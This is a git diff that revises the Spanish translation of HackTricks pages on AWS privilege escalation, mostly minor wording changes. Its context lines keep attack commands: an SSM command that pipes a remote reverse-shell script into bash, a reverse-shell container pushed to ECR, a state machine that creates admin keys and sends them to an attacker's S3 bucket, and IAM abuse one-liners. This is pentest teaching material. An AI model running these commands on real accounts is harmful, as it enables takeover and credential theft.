expuesto públicamente, si se utiliza la autenticación **SASL/SCRAM**, podrías **leer el secreto** para acceder (necesitarás privilegios adicionales para leer el secreto).\ -Si se utiliza la autenticación **basada en roles de IAM** y **kafka está expuesto públicamente**, aún podrías abusar de estos privilegios para darte permisos para acceder. +Si se utiliza la autenticación **basada en roles de IAM** y **kafka está expuesto públicamente**, aún podrías abusar de estos privilegios para obtener permisos para acceder. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 6d1fb23f4..3bd57a743 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -4,7 +4,7 @@ ## Organizaciones -Para más información, consulta: +Para más información consulta: {{#ref}} ../aws-services/aws-organizations-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index 24dcdf3ec..e65c10152 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -71,7 +71,7 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` -Si tuvieras **credenciales de AWS en bruto** también podrías usarlas para acceder a datos de S3 con: +Si tuvieras **credenciales de AWS en bruto**, también podrías usarlas para acceder a los datos de S3 con: ```sql SELECT aws_s3.table_import_from_s3( 't', '', '(format csv)', @@ -89,7 +89,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') Dentro del mysql ejecuta **`show variables;`** y si las variables como **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, tienen valores, puedes asumir que la base de datos está preparada para acceder a datos de S3. -Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes verificar si el clúster tiene algún **rol asociado**, lo que generalmente significa acceso a servicios de AWS). +Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes verificar si el clúster tiene algún **rol asociado**, lo que generalmente significa acceso a los servicios de AWS). Ahora, para **leer un archivo dentro de un bucket** necesitas conocer la ruta completa. Puedes leerlo con: ```sql @@ -130,8 +130,8 @@ Un atacante con los permisos `rds:CreateDBInstance` y `iam:PassRole` puede **cre > Algunos requisitos del rol/perfil de instancia para adjuntar (de [**aquí**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): > - El perfil debe existir en tu cuenta. -> - El perfil debe tener un rol de IAM que Amazon EC2 tenga permisos para asumir. -> - El nombre del perfil de instancia y el nombre del rol de IAM asociado deben comenzar con el prefijo `AWSRDSCustom`. +> - El perfil debe tener un rol IAM que Amazon EC2 tenga permisos para asumir. +> - El nombre del perfil de instancia y el nombre del rol IAM asociado deben comenzar con el prefijo `AWSRDSCustom`. ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` @@ -139,9 +139,9 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst ### `rds:AddRoleToDBInstance`, `iam:PassRole` -Un atacante con los permisos `rds:AddRoleToDBInstance` y `iam:PassRole` puede **agregar un rol especificado a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia. +Un atacante con los permisos `rds:AddRoleToDBInstance` y `iam:PassRole` puede **agregar un rol específico a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia. -> [!WARNING] +> [!ADVERTENCIA] > La instancia de base de datos debe estar fuera de un clúster para esto. ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 1dfc9138c..8dc81966d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -82,13 +82,13 @@ from 'dynamodb://ProductCatalog' iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ``` > [!WARNING] -> La tabla de Amazon DynamoDB que proporciona los datos debe ser creada en la misma región de AWS que tu clúster, a menos que utilices la opción [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) para especificar la región de AWS en la que se encuentra la tabla de Amazon DynamoDB. +> La tabla de Amazon DynamoDB que proporciona los datos debe ser creada en la misma región de AWS que tu clúster, a menos que uses la opción [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) para especificar la región de AWS en la que se encuentra la tabla de Amazon DynamoDB. ### EMR Consulta [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) -## References +## Referencias - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 8e68af364..a2f3ef3ac 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -8,7 +8,7 @@ Un atacante con esos permisos sobre buckets interesantes podría ser capaz de secuestrar recursos y escalar privilegios. -Por ejemplo, un atacante con esos **permisos sobre un bucket de cloudformation** llamado "cf-templates-nohnwfax6a6i-us-east-1" podrá secuestrar la implementación. El acceso se puede otorgar con la siguiente política: +Por ejemplo, un atacante con esos **permisos sobre un bucket de cloudformation** llamado "cf-templates-nohnwfax6a6i-us-east-1" podrá secuestrar la implementación. El acceso puede ser otorgado con la siguiente política: ```json { "Version": "2012-10-17", @@ -34,7 +34,7 @@ Por ejemplo, un atacante con esos **permisos sobre un bucket de cloudformation** ] } ``` -Y el secuestro es posible porque hay una **pequeña ventana de tiempo desde el momento en que se carga la plantilla** en el bucket hasta el momento en que la **plantilla se despliega**. Un atacante podría simplemente crear una **función lambda** en su cuenta que se **active cuando se envíe una notificación del bucket**, y **secuestra** el **contenido** de ese **bucket**. +Y el secuestro es posible porque hay una **pequeña ventana de tiempo desde el momento en que se carga la plantilla** en el bucket hasta el momento en que se **despliega la plantilla**. Un atacante podría simplemente crear una **lambda function** en su cuenta que se **active cuando se envíe una notificación del bucket**, y **secuestra** el **contenido** de ese **bucket**. ![](<../../../images/image (174).png>) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index a1536ad31..f35369c2a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -19,7 +19,7 @@ aws sagemaker create-presigned-notebook-instance-url \ ``` Navega a la URL con el navegador y haz clic en \`Open JupyterLab\` en la parte superior derecha, luego desplázate hacia abajo a la pestaña “Launcher” y en la sección “Other”, haz clic en el botón “Terminal”. -Ahora es posible acceder a las credenciales de metadatos del rol IAM. +Ahora es posible acceder a las credenciales de metadatos del Rol IAM. **Impacto Potencial:** Privesc al rol de servicio de sagemaker especificado. @@ -71,7 +71,7 @@ Un atacante con esos permisos podrá crear un trabajo de entrenamiento, **ejecut > cd /tmp/rev > sudo docker build . -t reverseshell > -> # Sube a ECR +> # Sube esto a ECR > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index 0997dc3ab..b532cc7a9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -4,7 +4,7 @@ ## Secrets Manager -Para más información sobre el administrador de secretos, consulta: +Para más información sobre Secrets Manager, consulta: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -20,7 +20,7 @@ aws secretsmanager get-secret-value --secret-id # Get value ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -Con los permisos anteriores es posible **dar acceso a otros principales/cuentas (incluso externas)** para acceder al **secreto**. Tenga en cuenta que para **leer secretos cifrados** con una clave KMS, el usuario también necesita tener **acceso a la clave KMS** (más información en la [página de enumeración de KMS](../aws-services/aws-kms-enum.md)). +Con los permisos anteriores es posible **dar acceso a otros principales/cuentas (incluso externos)** para acceder al **secreto**. Tenga en cuenta que para **leer secretos cifrados** con una clave KMS, el usuario también necesita tener **acceso a la clave KMS** (más información en la [KMS Enum page](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index d185bab1e..0c7e59e58 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -20,7 +20,7 @@ aws sns publish --topic-arn --message ### `sns:Subscribe` -Un atacante podría suscribirse a un tema de SNS, potencialmente obteniendo acceso no autorizado a mensajes o interrumpiendo el funcionamiento normal de las aplicaciones que dependen del tema. +Un atacante podría suscribirse a un tema de SNS, obteniendo potencialmente acceso no autorizado a mensajes o interrumpiendo el funcionamiento normal de las aplicaciones que dependen del tema. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` @@ -28,7 +28,7 @@ aws sns subscribe --topic-arn --protocol --endpoint ### `sns:AddPermission` -Un atacante podría otorgar acceso a un tema de SNS a usuarios o servicios no autorizados, potencialmente obteniendo más permisos. +Un atacante podría otorgar acceso no autorizado a usuarios o servicios a un tema de SNS, potencialmente obteniendo más permisos. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index dd5d6d130..a1c848826 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -4,7 +4,7 @@ ## SSM -Para más información sobre SSM, consulta: +Para más información sobre SSM consulta: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**Impacto Potencial:** Privesc directo a los roles de IAM de EC2 adjuntos a instancias en ejecución con agentes SSM en funcionamiento. +**Impacto Potencial:** Privesc directo a los roles IAM de EC2 adjuntos a instancias en ejecución con agentes SSM en funcionamiento. ### `ssm:StartSession` -Un atacante con el permiso **`ssm:StartSession`** puede **iniciar una sesión similar a SSH en instancias** que ejecutan el agente SSM de Amazon y **comprometer el rol de IAM** que se ejecuta dentro de él. +Un atacante con el permiso **`ssm:StartSession`** puede **iniciar una sesión similar a SSH en instancias** que ejecutan el agente Amazon SSM y **comprometer el rol IAM** que se ejecuta dentro de él. ```bash # Check for configured instances aws ssm describe-instance-information @@ -52,18 +52,18 @@ aws ssm start-session --target "$INSTANCE_ID" #### Privesc a ECS Cuando las **tareas de ECS** se ejecutan con **`ExecuteCommand` habilitado**, los usuarios con suficientes permisos pueden usar `ecs execute-command` para **ejecutar un comando** dentro del contenedor.\ -Según [**la documentación**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), esto se hace creando un canal seguro entre el dispositivo que usas para iniciar el comando “_exec_” y el contenedor objetivo con SSM Session Manager. (SSM Session Manager Plugin necesario para que esto funcione)\ +Según [**la documentación**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), esto se hace creando un canal seguro entre el dispositivo que usas para iniciar el comando “_exec_” y el contenedor objetivo con SSM Session Manager. (Se necesita el SSM Session Manager Plugin para que esto funcione)\ Por lo tanto, los usuarios con `ssm:StartSession` podrán **obtener un shell dentro de las tareas de ECS** con esa opción habilitada simplemente ejecutando: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` ![](<../../../images/image (185).png>) -**Impacto Potencial:** Privesc directo a los roles `ECS`IAM adjuntos a tareas en ejecución con `ExecuteCommand` habilitado. +**Impacto Potencial:** Privesc directo a los roles de `ECS`IAM adjuntos a tareas en ejecución con `ExecuteCommand` habilitado. ### `ssm:ResumeSession` -Un atacante con el permiso **`ssm:ResumeSession`** puede re-**iniciar una sesión similar a SSH en instancias** que ejecutan el Agente SSM de Amazon con un estado de sesión SSM **desconectado** y **comprometer el Rol IAM** que se ejecuta dentro de él. +Un atacante con el permiso **`ssm:ResumeSession`** puede re-**iniciar una sesión similar a SSH en instancias** que ejecutan el Agente de Amazon SSM con un estado de sesión SSM **desconectado** y **comprometer el Rol IAM** que se ejecuta dentro de él. ```bash # Check for configured instances aws ssm describe-sessions @@ -76,7 +76,7 @@ aws ssm resume-session \ ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -Un atacante con los permisos mencionados podrá listar los **parámetros SSM** y **leerlos en texto claro**. En estos parámetros frecuentemente puedes **encontrar información sensible** como claves SSH o claves API. +Un atacante con los permisos mencionados podrá listar los **parámetros de SSM** y **leerlos en texto claro**. En estos parámetros, a menudo puedes **encontrar información sensible** como claves SSH o claves API. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 74f3a9eba..f96c20e6f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -1,4 +1,4 @@ -# AWS - SSO & identitystore Privesc +# AWS - SSO y escalación de privilegios en identitystore {{#include ../../../banners/hacktricks-training.md}} @@ -21,13 +21,13 @@ Una forma fácil de escalar privilegios en casos como este sería tener un permi ### `identitystore:CreateGroupMembership` -Con este permiso es posible agregar un usuario dentro de un grupo para que herede todos los permisos que tiene el grupo. +Con este permiso es posible agregar un usuario a un grupo para que herede todos los permisos que tiene el grupo. ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Un atacante con este permiso podría otorgar permisos adicionales a un Permission Set que se concede a un usuario bajo su control. +Un atacante con este permiso podría otorgar permisos adicionales a un Permission Set que se le concede a un usuario bajo su control. ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml @@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Un atacante con este permiso podría otorgar permisos adicionales a un Conjunto de Permisos que se concede a un usuario bajo su control. +Un atacante con este permiso podría otorgar permisos adicionales a un Permission Set que se concede a un usuario bajo su control. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -60,10 +60,10 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -Un atacante con este permiso podría otorgar permisos adicionales a un Conjunto de Permisos que se concede a un usuario bajo su control. +Un atacante con este permiso podría otorgar permisos adicionales a un Permission Set que se concede a un usuario bajo su control. > [!WARNING] -> Para abusar de estos permisos en este caso, necesitas conocer el **nombre de una política administrada por el cliente que esté dentro de TODAS las cuentas** que se verán afectadas. +> Para abusar de estos permisos en este caso, necesitas conocer el **nombre de una política gestionada por el cliente que esté dentro de TODAS las cuentas** que se verán afectadas. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -93,7 +93,7 @@ aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index 91099fc0d..d43d9d473 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -59,11 +59,11 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn "status": "SUCCEEDED" } ``` -**Impacto Potencial**: Ejecución no autorizada y manipulación de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas. +**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas. ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -Un atacante con **`states:CreateStateMachine`** & **`iam:PassRole`** podría crear una máquina de estados y proporcionarle cualquier rol de IAM, lo que permitiría el acceso no autorizado a otros servicios de AWS con los permisos del rol. A diferencia de la técnica de privesc anterior (**`states:TestState`** & **`iam:PassRole`**), esta no se ejecuta por sí misma, también necesitarás tener los permisos **`states:StartExecution`** o **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **no está disponible para flujos de trabajo estándar**, **solo para máquinas de estados expresas**) para iniciar una ejecución sobre la máquina de estados. +Un atacante con **`states:CreateStateMachine`** & **`iam:PassRole`** podría crear una máquina de estados y proporcionarle cualquier rol de IAM, lo que permitiría el acceso no autorizado a otros servicios de AWS con los permisos del rol. A diferencia de la técnica de privesc anterior (**`states:TestState`** & **`iam:PassRole`**), esta no se ejecuta por sí misma, también necesitarás tener los permisos de **`states:StartExecution`** o **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **no está disponible para flujos de trabajo estándar**, **solo para máquinas de estados expresas**) para iniciar una ejecución sobre la máquina de estados. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -Los siguientes ejemplos muestran cómo crear una máquina de estados que crea una clave de acceso para el **`admin`** usuario y exfiltra esta clave de acceso a un bucket S3 controlado por un atacante, aprovechando estos permisos y un rol permisivo del entorno de AWS. Este rol permisivo debe tener asociada alguna política de alto privilegio (por ejemplo **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permita a la máquina de estados realizar las acciones **`iam:CreateAccessKey`** y **`s3:putObject`**. +Los siguientes ejemplos muestran cómo crear una máquina de estados que crea una clave de acceso para el **`admin`** y exfiltra esta clave de acceso a un bucket S3 controlado por un atacante, aprovechando estos permisos y un rol permisivo del entorno de AWS. Este rol permisivo debe tener asociada alguna política de alto privilegio (por ejemplo **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permita a la máquina de estados realizar las acciones **`iam:CreateAccessKey`** y **`s3:putObject`**. - **stateMachineDefinition.json**: ```json @@ -132,9 +132,9 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 } ``` > [!WARNING] -> El bucket S3 controlado por el atacante debe tener permisos para aceptar una acción s3:PutObject de la cuenta de la víctima. +> El bucket S3 controlado por el atacante debería tener permisos para aceptar una acción s3:PutObject de la cuenta de la víctima. -**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas. +**Impacto Potencial**: Ejecución no autorizada y manipulación de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas. ### `states:UpdateStateMachine` & (no siempre requerido) `iam:PassRole` @@ -142,8 +142,8 @@ Un atacante con el permiso **`states:UpdateStateMachine`** podría modificar la Dependiendo de cuán permisivo sea el Rol IAM asociado a la máquina de estados, un atacante se enfrentaría a 2 situaciones: -1. **Rol IAM permisivo**: Si el Rol IAM asociado a la máquina de estados ya es permisivo (tiene, por ejemplo, la política **`arn:aws:iam::aws:policy/AdministratorAccess`** adjunta), entonces el permiso **`iam:PassRole`** no sería necesario para escalar privilegios, ya que no sería necesario actualizar también el Rol IAM; con la definición de la máquina de estados es suficiente. -2. **Rol IAM no permisivo**: En contraste con el caso anterior, aquí un atacante también requeriría el permiso **`iam:PassRole`** ya que sería necesario asociar un Rol IAM permisivo a la máquina de estados además de modificar la definición de la máquina de estados. +1. **Rol IAM Permisivo**: Si el Rol IAM asociado a la máquina de estados ya es permisivo (tiene, por ejemplo, la política **`arn:aws:iam::aws:policy/AdministratorAccess`** adjunta), entonces el permiso **`iam:PassRole`** no sería necesario para escalar privilegios, ya que no sería necesario actualizar también el Rol IAM, con la definición de la máquina de estados es suficiente. +2. **Rol IAM No Permisivo**: En contraste con el caso anterior, aquí un atacante también requeriría el permiso **`iam:PassRole`** ya que sería necesario asociar un Rol IAM permisivo a la máquina de estados además de modificar la definición de la máquina de estados. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 85b8265fa..e972cf9a7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -30,7 +30,7 @@ aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname **Impacto Potencial:** Privesc al rol. > [!CAUTION] -> Tenga en cuenta que en este caso el permiso `sts:AssumeRole` debe ser **indicado en el rol a abusar** y no en una política perteneciente al atacante.\ +> Tenga en cuenta que en este caso el permiso `sts:AssumeRole` debe ser **indicado en el rol a abusar** y no en una política que pertenezca al atacante.\ > Con una excepción, para **asumir un rol de una cuenta diferente** la cuenta del atacante **también necesita** tener el **`sts:AssumeRole`** sobre el rol. ### **`sts:GetFederationToken`** @@ -39,7 +39,7 @@ Con este permiso es posible generar credenciales para suplantar a cualquier usua ```bash aws sts get-federation-token --name ``` -Esta es la forma en que se puede otorgar este permiso de manera segura sin dar acceso para suplantar a otros usuarios: +Así es como se puede otorgar este permiso de manera segura sin dar acceso para suplantar a otros usuarios: ```json { "Version": "2012-10-17", @@ -78,11 +78,11 @@ Un ejemplo de una política de confianza con este permiso es: ] } ``` -Para generar credenciales para suplantar el rol, en general podrías usar algo como: +Para generar credenciales para suplantar el rol en general, podrías usar algo como: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` -Pero **los proveedores** pueden tener **sus propias herramientas** para facilitar esto, como [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +Pero los **proveedores** pueden tener sus **propias herramientas** para facilitar esto, como [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 275d95379..4115961ed 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -15,7 +15,7 @@ Crea un usuario dentro del Directorio indicado, luego tendrás acceso tanto a Wo # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:DescribeActivities)` Los archivos pueden contener información sensible, léelos: ```bash @@ -39,7 +39,7 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo ### `workdocs:AddUserToGroup` Puedes convertir a un usuario en administrador al configurarlo en el grupo ZOCALO_ADMIN.\ -Para eso, sigue las instrucciones de [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) +Para ello, sigue las instrucciones de [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) Inicia sesión con ese usuario en workdoc y accede al panel de administración en `/workdocs/index.html#/admin` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index 1154a77fa..4266dbaff 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -11,16 +11,16 @@ Para más información sobre Route53, consulta: ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> Para realizar este ataque, la cuenta objetivo debe tener ya configurada una [**Autoridad de Certificación Privada de AWS Certificate Manager**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** en la cuenta, y las instancias de EC2 en el/los VPC(s) deben haber importado ya los certificados para confiar en ella. Con esta infraestructura en su lugar, se puede realizar el siguiente ataque para interceptar el tráfico de la API de AWS. +> Para realizar este ataque, la cuenta objetivo debe tener ya una [**Autoridad de Certificación Privada de AWS Certificate Manager**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurada en la cuenta, y las instancias de EC2 en el/los VPC(s) deben haber importado ya los certificados para confiar en ella. Con esta infraestructura en su lugar, se puede realizar el siguiente ataque para interceptar el tráfico de la API de AWS. Otros permisos **recomendados pero no requeridos para la parte de enumeración**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -Suponiendo que hay un VPC de AWS con múltiples aplicaciones nativas de la nube comunicándose entre sí y con la API de AWS. Dado que la comunicación entre los microservicios está a menudo cifrada con TLS, debe haber una CA privada para emitir los certificados válidos para esos servicios. **Si se utiliza ACM-PCA** para eso y el adversario logra obtener **acceso para controlar tanto route53 como la CA privada de acm-pca** con el conjunto mínimo de permisos descritos anteriormente, puede **secuestrar las llamadas de la aplicación a la API de AWS** apoderándose de sus permisos de IAM. +Suponiendo que hay un VPC de AWS con múltiples aplicaciones nativas de la nube comunicándose entre sí y con la API de AWS. Dado que la comunicación entre los microservicios está a menudo cifrada con TLS, debe haber una CA privada para emitir los certificados válidos para esos servicios. **Si se utiliza ACM-PCA** para eso y el adversario logra **acceder al control tanto de route53 como de la CA privada acm-pca** con el conjunto mínimo de permisos descritos anteriormente, puede **secuestrar las llamadas de la aplicación a la API de AWS** apoderándose de sus permisos de IAM. Esto es posible porque: - Los SDK de AWS no tienen [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 permite crear Zonas Privadas y registros DNS para los nombres de dominio de las APIs de AWS +- Route53 permite crear Zonas Alojadas Privadas y registros DNS para nombres de dominio de APIs de AWS - La CA privada en ACM-PCA no puede ser restringida a firmar solo certificados para Nombres Comunes específicos **Impacto Potencial:** Privesc indirecto al interceptar información sensible en el tráfico. diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index e682a82ee..6ef706eb7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ 